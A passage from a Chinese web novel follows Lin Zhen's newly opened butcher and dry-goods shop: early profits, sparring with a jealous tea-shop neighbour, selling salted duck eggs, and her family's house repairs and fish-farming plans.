她先前吹牛说自个儿能日入一贯,那是因着没算成本;可这回,连铺子的赁钱、柴火钱、人工钱都算上了,却能净賺两贯。 难怪都说商人来钱快呢! 林真有些恍惚,其余人更是觉着做梦一样。 “不奇怪,为着这铺子,真姐儿多辛苦。从铺子的陈设招幌,到铺子上售卖的东西,哪样不是费足了心思的?能赚得这些钱,是因着真姐儿本事儿,若是唤作旁人,可不见得能赚钱。要不然,今儿隔壁的茶掌柜,能那样眼红?” 贺景出声,眼里俱是笑意,直直瞧着林真。 林真被人瞧得面上一红,好在这会儿子大伙都恍惚着,倒是无人发现。 “咳咳,成了,晓得能赚钱,大家伙心里有数就好。这可不兴往外说啊,咱低调些低调些啊。” 虽说自来是,家有金子外有秤,有心人瞧在眼里自然晓得她家赚钱。 钱这东西是好,可带来的麻烦也不少。 往后他们身边怕是清静不了,可这是无法避免的,只能约束好自身,保持清醒。 “好了,散了散了,都回去睡觉,咱明儿还得继续。对了。明儿客人应当会少些,爹和苗娘子留在家里瞧着修缮屋子吧,燕儿与我搭把手,应当能应付得过去。” 今儿燕儿表现着实不错,铺子里有些甚她都晓得,客人问了一点儿不怵,除了不大会算账,其余是再没问题的;沈山平也厉害,手上功夫不比她爹差,只是有些显凶相且不大会招呼人。 燕儿与她在里头卖干杂,教贺景与沈山平搭档卖肉能支应开来。 家里事情着实多,族人还在家里帮着修缮屋子呢,哪有主家一个不留的? 头日开张便罢了,第二日,却很不必教六人都在铺子里头耗着。 事儿总算安排完了,众人这下是真散去了。 此时已是月上中天,枣儿村已沉寂下来,只有偶尔的犬吠之声。 沈山平打着火把走了,等他回到山脚下那间孤零零的屋里时,沈猎户点着油灯在等他。 “爹,您猜猜,我今儿一日,赚了多少钱?”沈山平咧着嘴傻笑。 沈猎户抬眼看他那一脸傻样,有些嫌弃,可还是很给面子地搭话:“瞧你这样子,怕是不少罢?” “嘿嘿。”沈山平伸出一根儿手指头来,“除却成本和抽给真姐儿的那一成,師傅与我五五分,我能得将近一贯钱!” 肉摊子的生意林真是全放给了林屠户沈山平这師徒倆的,她帮着出出主意将摊子支起来后便不再插手。 至于分钱,她从中抽一成出来,抵铺子的赁钱和她这总管人(经理)的工钱。余下的,林真不管这师徒俩怎么分,这是一早便说好的。 这二道房东也是教她给当上了。 “甚?一贯钱!”沈猎户一惊,少有的露出几分失态来。 “嘿嘿,您也惊着了吧?”沈山平这下子痛快了,瞧瞧,可不是他没见识,实在是这生意忒好了些。说着,便嘚啵嘚啵将今日之事都说给他爹听。 “林家,实在待你,不,是待咱家,都不薄。”沈猎户听自家傻儿子说完,不禁叹道,“往后,你可得更勤快些,对你师傅更要上心,还有,好好听真姐儿的话!” 林屠户大方,肯与自家这傻儿子五五分成,即便是在师徒当中也实在是少见。 林真呢?更是爽快,不止拉着自家一道做生意,从他手里买兔子野鸡,都是按着实价给,从来不会仪仗着情分占便宜。 真要说来,他儿子相当于白捡了一个那样好的肉摊子,他手头这些东西,便是白给都成! 可真姐儿不这样认为。 她还多有理:“这怎能混为一谈呢?是我与您做买卖,又不是沈大哥与您做买卖。再说了,这亲兄弟能明算账,这爹老子的,算一算也不是不行。这钱就该您拿着,您逮的兔子您养的,合该您收着。您收了,再给谁,那是您的事儿,我可就管不着了。” 思及次,沈猎户拍拍沈山平:“你好好干,爹去找官媒给你说亲。从前人家问起来,嫌弃射生户是别着脑袋讨生活;可现在,你是县里有摊子的屠户!如此,便能与你说一门好亲,往后啊,便是你媳妇儿等你,我也算是能放心了。” == 第二日,铺子里头的生意果真清减了些许,今日的猪肉便有剩下的。 猪头还是教朱掌柜要去了,可一番清点后,还是数出剩有三十来斤的肉。 林真倒是不在意,从前在肉行摆摊子,遇着年节下生意好的时候,一日能卖二百来斤的猪肉,可若是生意不好,两三日还卖不完一头百斤出头的瘦猪。 昨日那头猪可有一百七十来斤,生意着实不能算差。 “哟,今儿怎还剩下这许多呢?”茶掌柜今日可瞧得真真儿的,见有剩肉,他赶忙过来。 林真一桶水泼出去。 “你这女娃!作甚?眼睛白长了?”茶掌柜跳起来,顾忌着林大掌柜,他倒是没骂得太难听。 “咦?茶掌柜,你这话倒是说得怪!我打扫我自家的铺子,自是要泼水的,这水又没往您身上招呼,若不是您一个劲儿地往别人家铺子上凑,哪里能沾到?您且让让罢,我还要再泼一桶水才能将门口这些污秽物件冲干净呢!” 贺景差点儿笑出声,真姐儿这张嘴,好的时候将人哄得团团转;气人的时候,也着实气人。 “你,你……” 瞧,茶掌柜就被气得不清。 一番交锋,茶掌柜没占着半点便宜,还被气走了。 林真几人便高兴,说说笑笑地将铺子清扫干净,挂了锁头,家去了。 林家猪肉干杂铺开张第三日。 林真几人照旧收拾好了铺子,卸开门板开门做生意。 第三日的生意虽不如前两日红火,可这日还是惠顾让利和送豆干的时候,早早便有客上门来。 几位年轻娘子和妇人结伴而来,显然是为着家里采买的。 几人才站在肉摊子前,隔壁茶掌柜一头冲过来,大声嚷嚷道:“林掌柜,你这摊子昨日剩下恁多肉,怎今日还摆出来卖啊?” 林真一脸看智障的表情看着他:“茶掌柜,你去瞅瞅,县里哪家摊子上不卖些剩肉的?我家里有井,这天儿也凉快下来了,我这肉又不是坏的臭的,如何不能卖?” “嘿,能卖自是能卖,可我不是提醒一句么。可别拿昨日的剩肉来充今日的好肉,我在这长兴坊是比你多待了些时日的,可看不得你这样哄骗咱这头的街坊邻居。”茶掌柜义正言辞,一副大义凛然的模样。 可他说完,却发觉眼前的娘子妇人们全都皱着眉头瞧他,眼神中很有些瞧不上。 这是怎的了?《 》 50-60 第51章 “哼!茶掌柜, 你自个儿也说了,比林娘子在长兴坊多待了些时日,你是这儿的老人了!处事怎如此不妥当?你自家也开着鋪子, 青天白日的,怎这样紅口白牙地坏人名声!店家的名声是何等要緊,您该不会不晓得罢?如此行事,你这脸皮子还要是不要的?” 其中一位插着鎏金梳篦, 穿戴多整齐的妇人先开口。 “您那眼睛啊, 别總往上头瞧, 也低下来,瞧瞧这儿。”妇人稍稍侧身,指着长桌上的一张紅纸糊就的木牌。 茶掌柜定睛一看,上头端端正正写着四个大字:今日鮮货。 再瞧瞧长桌上, 最末端擺着一些豬肉,恰好就教那牌子隔开了。让人一瞧, 就模糊晓得, 最末的那些, 不属于今日鮮货。 这牌子是昨儿晚上现制的,上头的字儿还是林真连夜托了林有文写的, 昨晚糊好, 今日才擺上。 此时, 整好派上用场。 “人林娘子厚道着咧!昨儿的剩肉, 吊在井里保存得好好的,今日一早摆出来, 瞧着与现殺的鮮肉可不差甚,可人实诚,还特特写了牌子标出来。可不像有些人, 新茶混旧茶,整个儿的茶叶摆面上,可底下却全是茶沫子!” “你,你胡说,誰新茶旧茶混一处了!”茶掌柜跳脚。 妇人摆摆手,不屑道:“我可没指名道姓地说誰,可谁急了,谁晓得!” 说着,妇人眼一瞪:“一把年纪活到狗肚子身上去了,净是干些缺德事儿。你一大早的触人霉头呢!赶緊起开,别挡着我们做生意!” 茶掌柜气得眼都红了,张嘴便要骂。 林真瞅准时机插话:“哎呦,您又不是来我鋪子上买東西的,闲说几句便算了,赶紧回去罢。” 賀景配合得挺好,一把拉着茶掌柜便将人客客气气请出去。 林真这头又劝道:“娘子消消气儿,气坏了自个儿的身子不值当。” “我可不生气,我今日,那是大获全胜!”妇人神清气爽,觉着这位林娘子当真是位妙人,她笑道,“咱不说那晦气玩意儿了,你将才说,昨儿的剩肉,比今日的鲜肉少一个钱?” 林真点点头:“是,毕竟是昨儿的了,虽说这天儿放得住,可也不好混做一处賣。便想着让一个子儿,早些賣出去。” “你倒是实诚。”那妇人点点头,“这样,给我割四斤来,我家去炖肉,也教那些小子们混个油水!” “好嘞!”林真应下,“您瞧,四斤有多,便算您四斤,秤旺着呢!七十二个钱,我再与您抹个零,收您七十个钱,谢您今日仗义执言!” “哟!小娘子大方又实在,话还说得这样好听,你在这长兴坊啊,可不愁生意咯!” “哈哈,承您吉言了。” 送走了这位特爽利的妇人后,旁邊儿几位客人问道:“林娘子,我们买昨儿的剩肉,你给抹零不?” 林真思索一番道:“一文两文的自然给各位抹零,可要是三文四文的,这可不好抹。本是让了价的,再要抹零,我可真是赔本做生意了。” “哎呦,我们是那样的人麽?三四个钱的,可不叫抹零!” “是,几位娘子都是敞亮人!” …… 又是降价又是抹零,这剩肉倒是賣得飞快。后头还有得了消息专门来买剩肉的客人,可已是賣光了。 “对不住,昨儿的剩肉已是卖完了。您瞧瞧今日的鲜肉,都是好货,还有鸡鴨兔子这些的。”賀景招呼那老妇人。 老妇人转悠了一圈儿,皱眉道:“你们明日可还卖剩豬肉?” 这话说得,倒像是盼着林家鋪子生意不好似的。 賀景语气不变,依旧不急不缓道:“若是有剩,那自然是卖的;可若是承蒙各位贵客照顧生意,侥幸卖光了,那自然是没有的。” 老妇人皱眉,似乎对这回答有些不满,可又不好说自个儿是专门来买剩肉的,转悠了一圈儿。 指着悬肉格上挂着的麻鴨道:“你这麻鴨瞧着倒是不错,可能切开卖?” 她盘算着,买半只鴨子家去,再买一大方蒟蒻豆腐,便能满满当当烧一锅。再来,还有那甚满二十减二的活动,虽不比买剩肉划算,可也算便宜。 賀景想了想,点点头:“您若是买半只,对半切开自是能卖。若是切得太小了,那是不能的,瞧着不好看,我这头卖不出去的。” “哼!自是要一半的,家里恁多张嘴,还能再少了?”老妇人有些不满,可鸡鸭不比豬肉,大多是活卖的,旁处还真没法子这样对半卖,她便还是要了半只麻鸭。 沈山平得了准话,依着那老妇人选了一只鸭子,从肚儿中间对半切开,一邊一个翅膀大腿尽量均分,可那鸭脖子是再不能破开的,只能去问那老妇人要哪边儿。 老妇人思量一会儿,选了帶脖子的那边儿,到底能多切几段肉来。 半只鸭子带一方蒟蒻豆腐,共计二十七个钱,去掉两个子,二十五个钱提了半只鸭子走,老妇人脸上这才露出些欢喜来。 “嘶!怪是难缠的。”沈山平瞧着人走远了才小声嘀咕,瞅着剩下的半只鸭子发愁,“这剩下的半只卖与谁?” “不着急。”贺景却不慌,“既有人要一半,必定还有第二人要一半,咱卖得出去。若是卖不出去也无事,家去烧了自家吃。” 倒还真是教贺景说中了,起了这个头,后来上门的客人好些便是半只半只地买,瞧着倒是比整个儿作卖的时候还受欢迎。 不过晌,鸡鸭兔儿便都卖光了。 沈山平还奇怪,晌午吃饭的时候便问,林真一想便反应过来了。 “住在城里方便得很,想要些甚,出门走几步便是。如此,城里人采买東西自然精细,都是现吃现买,便不会像咱们一样,一股脑地买来堆着,都想吃新鲜的呢!” 再有一层因素,便是当家不易了。在县里住着,一根柴火一碗水,都是要钱的,自然要精打细算。 原先因着鋪子没帶院儿,不好放活物,且摊子上的猪肉和兔子都是宰殺好的,若是再放些活鸡活鸭的不好看。 众人便商量着,不若都在村里一早宰杀了来,少带些,便是卖不完也不怕。做生意嘛,都是这样慢慢试出来的。 误打误撞之下,倒是又开辟了一条赚钱的路子。 因着这两出,今日引来的客人比第二日还多些,收摊时,居然只剩下十来斤猪肉。 今儿倒是顺顺趟趟将铺子拾掇好,隔壁膈应人的茶掌柜倒是没跳出来。 今日家去后,众人瞧着账本,盘算着明日铺子里头该上多少东西。 猪肉是无法的,整个儿地宰杀了只能全拉去卖。可铺子上鸡鸭兔子甚的,便能自家瞧着情况,盘算着宰杀几只。 商量一番,又理了货物后,又是月上中天时,众人才一一散去。 第四日,铺子开张的新鲜劲儿过去,且今日没了惠顧让利之事,铺子上的生意确实有回落。 可因着卖剩肉和对半卖的鸡鸭兔子,今日来了好些面生的客人。 剩肉又是最早卖完的,接着便是兔子、芦花鸡和麻鸭…… “唉,掌柜的,你这头的麻鸭都卖光了?怎如此快?昨儿我来过,说今日还来的,您可还记得?”男子一路疾行而来,此时满脸地汗且顾不得擦,瞧见悬肉格上只有猪肉,不由着急。 贺景定睛一看,笑了笑:“您别急,我且记着呢!” 他说着,一把将最底下的竹筐抬上来,掀开罩子,里头赫然是半只带脖子的麻鸭。 “您昨日说今日必定要来的,我便提前给您留着。您瞧瞧,今儿早上宰杀的,才拆开来卖的。” “唉,不用瞧,不用瞧,我晓得您这头的生意好着哩。不过晌,这些鸡鸭兔子的全都能卖光。”他面上露出些不好意思的神色来,“今儿本打算早早便来的,可路上耽搁了些许,迟了些。原以为今日又得跑空,幸而掌柜的记性好,还能记着呢!” 人多欢喜地提了麻鸭蒟蒻豆腐家去。说是家里老娘小儿多早就念叨着这一口了,今儿總算能吃上了。 林真打眼瞧着,冲贺景狭促道:“厉害了!贺掌柜,卖人东西赚钱,还唬得人多感激你。” 贺景湊近了些,压低声音道:“是林掌柜教得好。” “唉,我说你俩,别总湊一堆说小话。哼!黏黏糊糊的像甚样?是不是,燕儿?”沈山平不满道。 “啊?可是阿姐和姐夫本就是一块儿的啊。”燕儿疑惑。 “哎呦呦,有些人别说大话,我瞅着沈伯近来脚下生风、面带红光,瞧着怕是某人好事将近。这时候说大话,若是到时候比我们还黏糊,可怎么收场才好?”林真笑眯眯。 沈山平吭哧吭哧半天,才道:“你俩的嘴,我自是比不上的。” 几人顽笑着,倒是不觉着守铺子无聊。 下半晌生意清冷,林真便带着燕儿先家去,家里还要制腐竹豆干蒟蒻豆腐啥的,早些家去干活儿,晚上便能早些歇着。 快吃夕食时,贺景与沈山平驾着驴车家来,几人照旧凑在一处盘账。 只有两人时,贺景问道:“茶掌柜今儿倒是没过来,可那眼睛,盯得紧着呢。你预备着甚时候去找他?” 林真撇撇嘴:“总得等咱家铺子里的这股子热闹劲儿过了,生意稳定下来再说。不然啊,茶掌柜瞧着咱家铺子里头人来人往的,怕是门儿都不教我进,还能听我好好说话?”—— 作者有话说:林真:试图掌控毛笔,最终以失败告终[菜狗] 第52章 几日后, 林家的院子终于修葺一新。 黛瓦做頂青砖鋪地,瞧着就比原先的院子亮堂。林真围着屋子里里外外绕了一圈儿,很是满意。 她最关心的屋頂不用说, 大梁重新刷过桐油、芦苇编织的草席盖顶、青砖、油毛毡、两轮儿瓦片,整整鋪了六层才算完。 这屋顶的建法甚是讲究,城里建房也差不多就是这样了,屋顶这建法还是林有文提了一嘴, 他家里的房子就是这样建的。 这样建房花销虽说大些, 可这样建成的屋子, 冬暖夏凉还防漏,也不用年年爬上爬下翻屋顶。 族里谁不羡慕?先前林屠戶丢了肉行的摊子从县里回来,谁心里没有嘀咕两句? 可不曾想,不过小半年, 人不仅重新修了屋子、驴子骡子買了、还在县里开鋪子了! 这谁能想到?现在谁不羡慕林屠戶生了个好闺女? 便是再眼红再嘴硬的,瞧着长兴坊那头的鋪子, 也着实说不出甚酸言酸语来。 屋子修葺一新照旧要请客吃饭的, 虽说这回不是建新房没有上梁礼, 可这席面不能办差了。 族人都晓得你兜里有錢,若是席面上菜色不好, 怕要被人说小气;且族人这回建房多尽心尽力, 连后院儿的牲口棚都没落下。 大小灰和大毛, 两头驴子、一头骡的棚子也翻新过, 原先有些朽坏的桩子都换了新的。里里外外,实在是找不出一点儿疏漏之处。 如此, 这回家里商量了,还去请周灶人来正经置办几桌。 这回请客不是三两桌,粗粗估摸着得有六七桌, 也算是能成席,是得正经去请灶人来相帮。 原先还想着去请熟悉的周灶人,可不想林家还未动身去请,村里的灶人先上门来自荐。 本就住在一个村里,虽说王灶人不与林屠户家有親,可七大姑八大姨的,怎么也能扯出些親戚关系来。人既上门来自荐,且说得头头是道,家里便就近请了王灶人来相帮。 从前是家里上门去请,人没时间,这回倒是人算着时间自个儿就来了。 林屠户很有些感叹,也不单单为这一件事儿。 他没与任何人说:铺子开張那天,他模糊瞧见王巡栏在人群里。 可他不过匆匆一暼便移开眼神,再没有从前那种隔了多远便要主动招呼的心。 这回林家请客,将沈猎户一家也请了来。 林氏族人待沈家父子俩倒也热络,席间气氛很是热闹。 林真凑到她姑林香莲跟前:“姑,青桑村可有養魚的人家?就那种,塘基种桑,下头挖魚塘,蚕沙養魚的人家?” “咦?真姐儿问这个作甚?村里倒是有官爷来教,可村人大都不乐意,只有几户人家依了这法子种桑養魚,我婆家那头也没依呢。”林香莲道。 “嗯?怎会不乐意?”林真奇怪,“这多好啊,塘基种桑、桑葉喂蚕、蚕沙养鱼、鱼粪肥塘、塘泥壅桑,如此,鱼也得了,桑也肥了,蚕也有食儿,一样的田地还能多养出些鱼来卖錢,怎会不乐意?” 林真張口就来,大名鼎鼎的桑基鱼塘农业生态循环系统,课本上不止提过一回,着实令人印象深刻。 林香莲先还没仔细听,可听得林真几句,心里倒是有些想法。 将心里的想头按下,她答道:“村人种了一輩子的桑樹养了一輩子的蚕,祖祖辈辈都是这样过来的,从未听过这样的法子。田地就那么点儿,被鱼塘占去了,种桑的田地自然会少,桑葉便会少,那还如何养蚕?你别瞧那蚕小小一只,可它能吃着咧!” “嗯?可若是塘基比例为**或七三,就是六分塘,四分基,塘与基合理分布,地肥了桑樹长得好,比之全然种桑产出的桑叶应当是不差甚的吧?”林真有些不记得了。 “算了,咱不说这个。姑,你帮我瞅瞅,青桑村可有人愿意卖鱼给我的。前些日子我那铺子上为着引客,从山里逮了青鱼去卖,那鱼多好吃,便教客人惦记着了。可这山里的鱼不好得,今日有明日没的,教客人白跑总是不美。我便想寻人買些活鱼,每日摆些鱼来卖,稳当些,也不教人白跑。” 慈溪县多水,此时倒是有专门养鱼来售卖的人家。可林真跑了两家,价格都谈不拢,活鱼要价实在太贵! 若从他们手头贩鱼来卖,着实賺不了几个錢,只能白费力气罷了。 可卖鱼人是一点儿价都不让,说得多硬气:“我这鱼养这么大废去多少功夫且不说,从城外一路运来,路上便要死一半儿,活鱼都是这个价,您若是嫌贵,挑那翻了肚皮的去。” 吃的就是一个’鲜‘字,她要是卖死鱼,那还不如卖腌鱼呢! 林真不服气,可她还真没打听到还有哪处近些的地儿有鱼卖,思来想去,只能问问她姑。她本没报希望,没成想,还真有戏。 林香莲自然一口应下。 林真除了想在铺子里上活鱼,还想在铺子里上鹹鸭子来卖。 先前她大嫂劉桂香说了要请她吃腌的鹹鸭子,天儿一转凉便腌好送了来。 林真剥开一尝,箸儿轻轻一戳便流黄,且鹹淡合适,鸭子黄吃来还化沙,着实惊艳。 咸鸭蛋说来简单,可能做出这样惊艳的口感来却是极为難得,不得不说,她嫂子是有些手艺在身上的。 林真便与她大嫂商量了,本錢她出,她大嫂出手艺。至于工钱,林真原还想着教她嫂子抽成,可不想,劉桂香却是一口拒绝。 “真姐儿,咱虽说是亲戚,可你实在不必如此亏着自个儿照顾我。这咸鸭子最多能卖三个钱一枚,可一枚生鸭子便要一个钱,再来还要买盐,里头利润其实算不得多,本钱你已包了,铺子也是你的,连叫卖也是你,我若再分钱,那便是摆明了占你便宜。这样,腌一回咸鸭子估摸着要废去半日功夫,嫂子这也算是一门手艺了,你给我三十个钱便好。嘿,闲时你茂青哥去帮工,卖力气的短工一日只能得三十个钱,我半日就能賺回来!” 刘桂香先前不是没想过卖咸鸭子赚钱,可她往县里一站,瞧着人来人往俱是体面人,她心里便怯了。 张不开口叫卖不说,也不会与人讲价。白白折腾了一通,赚得的铜子儿还不够她买盐的。 她心里疼得不得了,这念头便就此打消。她是再没想到,又有一日还能凭着这一手赚钱。 一番话,说得林真心里头多愧疚。 她一开始提出来教刘桂香抽成,心里其实是带了些许成见的。 此番,着实是她小瞧人了。 反思一番又美滋滋乐了:她这辈子运气着实不错,亲缘深厚,几门亲戚也是難得的明理人,可得好好珍惜。 家里的事儿料理完后,铺子里的生意也趋于平稳,人流量瞧着不似刚开业时那样扎人眼。 林真便预备着,去解决茶掌柜的事儿。 这日一早,林真瞅着两家铺子都空闲,便溜达了去茶掌柜的铺子里。 “呦,倒是稀客,林掌柜花样多,铺子里生意恁好,怎有空闲往我这头来?”茶掌柜站在柜台后,步子都不挪腾一下,撩了眼皮瞧林真。 林真不在意,溜达够了,在茶掌柜赶人之前开口:“您这铺子着实不错,后头还带着好大一个院子罷?前头铺面做生意,后头住人,可真省事儿。不似我们,日日奔波,刮风下雨都不得停。唉,眼瞅着要冬日了,落雪天再刮阵北风,路上可遭罪了。” 茶掌柜原本耷拉着的脸稍稍舒展些,勾了勾嘴角露出一个笑来:“那倒是,这铺子是比你手头上那间好些,想当年……” “哎呦,差点儿忘了正经事儿,茶掌柜,我今日来,有要紧事儿与你相商。”林真可不乐意听这老登忆当年,赶紧出声打断。 茶掌柜才露出来的笑影儿没了,这小娘子,真是不尊老! 他不大痛快,便没搭话。 林真不在意,自个儿道:“说起来,咱们俩家的营生一点儿不搭边,这是难得的好事儿。长兴坊内还有一家肉铺,我可不乐意再开一家来抢生意,您定然也不希望我这铺子是做茶叶生意的。如此,咱俩之间,实在犯不着如此针尖对麦芒的。” 茶掌柜不说话,可也没插话。 林真便继续道:“您这铺子不赖,拾掇得也好,可比起坊内另外两家茶铺子来,生意可是差了些。” 茶掌柜才要跳脚,就听得林真道。 “我倒是有一计,能教您这头的生意好起来。” 他耷拉着的眼皮子全撑开,瞪大了眼睛瞧林真。 见其一副胸有成竹的模样,又思及林家猪肉干杂铺开张以来的热闹劲儿,心中一动,可他偏还要做出一副不在意的模样。 “甚主意?林掌柜果真厉害,自家的生意经营得好,别人家的生意也能说上几句?” “啊?我可真是好心,您这头若是生意好,咱俩家离得这样近,若是有客来买茶,瞧上了我家铺子的东西也是好事儿。”林真装模作样叹一句,“罢了罢了,您若是不乐意,我不说便是。” 她抬脚便往外走。 “唉,等等,等等!”茶掌柜瞧着林真转身便走,急了,忙从柜台后头出来拦,“怎的了,话都不说清楚便要走?林掌柜稍坐,也尝一尝我铺子里的好茶水。” 林真依言坐下,也不吊人胃口,指着外头道:“我送您一棵枣儿树,您在外头支张桌子,每日煮上一缸沫子茶来放着,请走街累了的行人免费吃盏子茶汤,我保证,您这头的客人一准儿会多起来。”—— 作者有话说:无奖竞猜:真姐儿当真好心?[墨镜] 第53章 茶掌櫃的手拐了个弯儿, 手中那盞子茶湯落在自个儿跟前。 他冷笑一声,开口道:“还以为林掌櫃有甚高见呢!我这茶鋪子里头可不卖那老叶老梗子的粗茶,便是茶叶里头的碎叶子, 那也得称呼一句’高碎‘!高碎曉得罷?是能卖錢的!” “您瞧瞧,小气了不是?您那高碎是能卖錢,可笸箩筛过的那点子碎茶沫总不能卖錢罷?”慈溪县可不缺茶,能找着儿片的高碎还有人买, 可那茶沫子是真无人问津。 “多用沫子, 再抓一把碎叶子, 能費多少錢?将手里头的貨趁着新鲜价好卖出去,换成钱捏在手里才是最要緊的,攥在手里留来留去,新茶一出变陈茶, 那时又能卖出甚好价来?” 林真自己动手斟了一盞茶,抿了一口。 嘁, 这茶掌櫃真真小气, 招待她的茶水可比不得林福招待她的。 茶掌櫃瞥了林真一眼, 没言语。 他也曉得陈茶卖不上价,新茶一出, 去年的旧茶譬如昨日黄花, 那价, 一日一跌, 跌得人心疼!不然,他何必偷摸着往新茶里头混旧茶? 可这样也不是法子, 虽说他每回混得少,可总有舌头灵的人嘗出来。起了疑心,人便不会往他这头来了, 可越是没客,他手头的貨去压得太多,他越想混着卖。 久而久之,他这鋪子名声便不大好,生意是越来越难做。 茶掌柜想不出破局的法子,瞧着隔壁生意如此红火,心里怎能不恼? 林真放下茶盏子,继续道:“这法子,实在是一箭三雕。一来,茶叶分得更细致,您鋪子里的货瞧着上档次;二来,免費的茶湯必会引了客来,人喝了你一盏子茶湯,您一邀,人少不得进去逛逛,只要进店便是好事儿;三来,若您坚持得久,寒来暑往日日都摆上这样一缸子免費的茶汤,誰不赞一句您是厚道人?” 茶掌柜一颗心,教林真说得滚烫,眼前似乎浮现出自家鋪子里客似云来,自个儿赚得盆滿钵滿的模样。 林真瞥了一眼茶掌柜:“这话我撂在这儿,听不听您自个儿拿主意。可那人高的枣儿樹,我还是要送您的。您选个能破土的日子,我唤了人来栽,就种在我那肉摊子旁边儿。既不挡道,夏日里还能洒下一片樹荫来。” “哟,白送啊?林掌柜当真大方。”有便宜不占可不是茶掌柜的风格,他急忙追问,势必得要个准话。 老登! 林真心里翻了个大大的白眼,面上却不显:“是,我那生肉摊子确实有些味儿,收拾得再是洁净都不成,送您一颗枣儿樹,挡挡味儿。” 才怪,实在是茶掌柜不讲究,自被买肉的娘子骂过后,他人倒是不往铺子里头凑了,可一双眼儿却盯得緊。 沈山平快被盯毛了,林真也烦他得很。 干脆种颗樹,挡住那股子不怀好意的视线,隔开这烦人的茶掌柜。 枣儿村里枣树多,林氏占了好大一片山,满是枣树,每年还得砍掉一些出果不好的树,免得与结果子的好树争夺水肥。 与族长说一声,移一棵枣树来不费事。 事情商量完毕,林真片刻都不想多留,抬脚回了自家铺子里。 “回来了,甚情形?可能栽树?”这是沈山平。 “如何?茶掌柜可’听劝‘?”这是贺景。 “能栽,三日后便能破土。”林真先是点头,瞧着沈山平一副松口气的模样心里有些好笑。 她又转向贺景:“茶掌柜盯着咱家的客人,盯得眼都红了,恨不得都抢到他家去,有了揽客的法子,他如何能不听?” “真姐儿,你还真给那老谵叟出主意啊?他铺子里头生意好了,再来挤兑我们可如何是好?那老谵叟瞧着就不似个记恩的人!”沈山平有些不解。 “主意自然是好主意,可也得看,是誰在做事。就茶掌柜那小气劲儿,此事,他包搞砸的。”林真平静道,“原本不温不火也能混着走,可若是铺子里情况才好些,茶掌柜那小气劲儿又犯了,一起一落,铺子的名声才真真会砸到地上。那时,他这铺子怕是真开不了张了。” “那也是茶掌柜自个儿的选择,怨不得你。”贺景道。 “是,我这是阳谋。是风生水起赚得盆满钵满,还是就此关门大吉,全看茶掌柜如何行事。”林真缓缓道。 “嘁,那老谵叟还能反过来怪你不成?就是没有你这主意,他老往尖货里头混陈货,迟早得关门!”沈山平冷哼一声,“坊内的掌柜少有不烦他的,谁家生意好些他必要说些酸言酸语。不好生经营自家铺子,一双招子老瞅着别人,那索性别做生意了!” 三日后,林屠户驾着驴车驮了一棵修剪过枝叶的枣儿树来了。 一同前来的还有一位老者,那是林氏守着枣树的族人,林真得唤一声三叔公。 茶掌柜围着运来的枣儿树直转悠,有些不满:“林掌柜,咱先前说是一人高的枣树,你这运来的枣树,瞧着可是矮了許多。” “哼!没见识就少说话!” 这话不是林真说的,是她三叔公。 “树大生根,根子发达了才能枝繁叶茂。一人高的枣树,那根子能扎丈許深,不斩断些根子,这树如何能挖得出来?根子既被断了些许,便要将树上多余的枝叶都修剪了去。不然,这树种下去也活不得!”三叔公没个好脸色,撇了一眼茶掌柜,“您贵人事儿忙,且别在此處,灰大,仔细污了您那绸子衣裳!” 茶掌柜一张脸涨得通红。 林真憋着笑道:“您多担待,这是咱们族里的老人了,族长都得小心敬着,咱当晚辈的,自然只有更敬重的份儿。可要说起种树来,三叔公是族里头一个,若是移栽的树不成活,意头不好还费事儿,我这才将三叔公请了来。自来有本事的人都傲气些,您且忍忍罢。” 先前林真向族长提出想买一棵枣树时,她这三叔公就不大乐意。那时,林真已然见识过这小老头的犟脾气了。 可此时有了茶掌柜作对比,才曉得她三叔公待她,已然算得上和蔼可亲。 枣树根上还带着好些泥土,这是特意保留的,还拿稻草裹住了,一路运来,还润着。 移栽枣树的坑是提前挖好的,此时,众人便在三叔公的指导下栽种枣树。 填埋过后,又用三根木桩子撑住树干后,三叔公亲自动手,舀了水,一瓢一瓢慢慢将根子浇透。 “成了!景小子,你记着,隔两日后像这样再浇一次水,再七日,浇第三回 ,回回都得浇透了。如此,这枣树才算是落下根来。” “是,小子记下了。”贺景恭敬应下。 “三叔公洗洗手,先喝盏子热茶。我唤人送了豆沙浮元子来,您且吃一碗,歇一歇再与我爹一同家去。可别推辞,今儿来得这样早,忙活了好一通,空着肚子家去,路上还要吃冷风,那可不是咱林家人的做派。”林真瞅着快完事儿了,赶紧出来劝道。 这小老头倔得很,先前林真说要花钱买树,他不乐意,还说了林真一通。后头林真说给族里送一石粗粮,教族长分给族中孤寡老幼者,小老头这才没话说。 后头瞧着移栽枣树,单单提前断根就多费事儿。她便想着请三叔公吃饭,可三叔公不乐意。 这回,是怎么也得将人留下来。 “是啊,三叔伯。您老忙活了恁久,不能连侄子孝敬的一碗甜水都不吃罢?”林屠户也赶紧劝。 林真已经将铺子里的小方桌摆出来了,她们平日里吃饭就是这样吃。 三叔公这才点了点头:“成。” 一盏茶汤还没吃完,年轻的帮闲已端着六碗浮元子并一壶小酒来。 林真先去接了酒,塞给她爹,她爹点点头,给了她一个’放心罢‘的眼神。 众人在铺子里吃浮元子,好生歇过一回后,林屠户才驾车送三叔公家去。 一路将人送到枣山脚下的屋子里,林屠户才回了自个儿家。 晚间,从背篓里摸出一壶酒来,三叔公不由笑道:“手脚倒是快,还真没瞧见是甚时候塞进去的。” 林真这头,瞧着茶掌柜敲敲打打抬了一缸茶汤出来,还在上头高高挂了块木牌,上头写了老大老大的几个字儿:免费茶汤。 嚯,茶掌柜阵仗搞得挺大,学也学得快。 林真几人看了一眼便丢开手,忙着给自家铺子里头上的新品拉客。 一只咸鴨子被切做几瓣,盛在碟儿里,林真捧了来,教进门的客人都嘗尝。 “您瞧瞧,化沙又流油,好得很。咸淡适宜,空口吃来不觉着齁,秋日里吃粥多些,配上一碟子咸鴨子,滋味儿极好的。” 如此大方请人试吃,且这咸鸭子的味道是没得说的,一枚三个钱,也算不得贵。 但凡尝过的客人,都会掏钱买上些许。 咸鸭子倒是极好卖的,可林真预想的活鱼,却是没得卖。 前儿她姑特意回来了一趟,说青桑村养鱼的人家本就少,且头一批响应管家挖塘养鱼的都是村儿里的大户,早早便给自家鱼塘里的鱼寻到了买主,竟是没有人愿意卖鱼给她的。 林真虽然遗憾,可也只能算了。 哪晓得她姑话风一转,反而问她:县里的活鱼可好卖? 一打听,才晓得她姑还干了件大事儿。 那日听完林真的话后,林香莲回去转悠了一圈儿,家去便开了嫁妆匣子数了钱,买了一處没人要的淤泥地。 